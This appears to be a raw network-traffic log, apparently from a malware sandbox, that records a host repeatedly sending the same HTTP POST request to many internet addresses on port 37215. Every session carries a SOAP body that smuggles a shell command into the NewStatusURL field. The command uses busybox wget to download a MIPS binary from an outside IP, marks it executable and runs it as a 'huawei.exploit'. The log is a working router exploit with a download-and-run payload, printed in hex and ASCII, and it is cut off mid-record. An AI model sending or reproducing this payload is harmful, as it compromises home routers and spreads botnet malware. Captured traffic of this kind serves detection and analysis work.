Jun 1, 2024 18:15:54.251351118 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
189	192.168.2.23	36386	41.249.106.11	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.251379013 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
190	192.168.2.23	40714	197.215.123.203	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.251426935 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
191	192.168.2.23	56050	156.198.133.179	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.251475096 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
192	192.168.2.23	52998	156.85.186.89	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.251517057 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
193	192.168.2.23	45586	41.144.64.245	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.251571894 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
194	192.168.2.23	38836	156.141.233.124	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.251611948 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
195	192.168.2.23	43196	41.64.231.154	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.251665115 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
196	192.168.2.23	55452	41.61.54.93	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.251713991 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
197	192.168.2.23	40380	41.29.240.127	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.251746893 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
198	192.168.2.23	57566	41.179.71.43	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.251796007 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 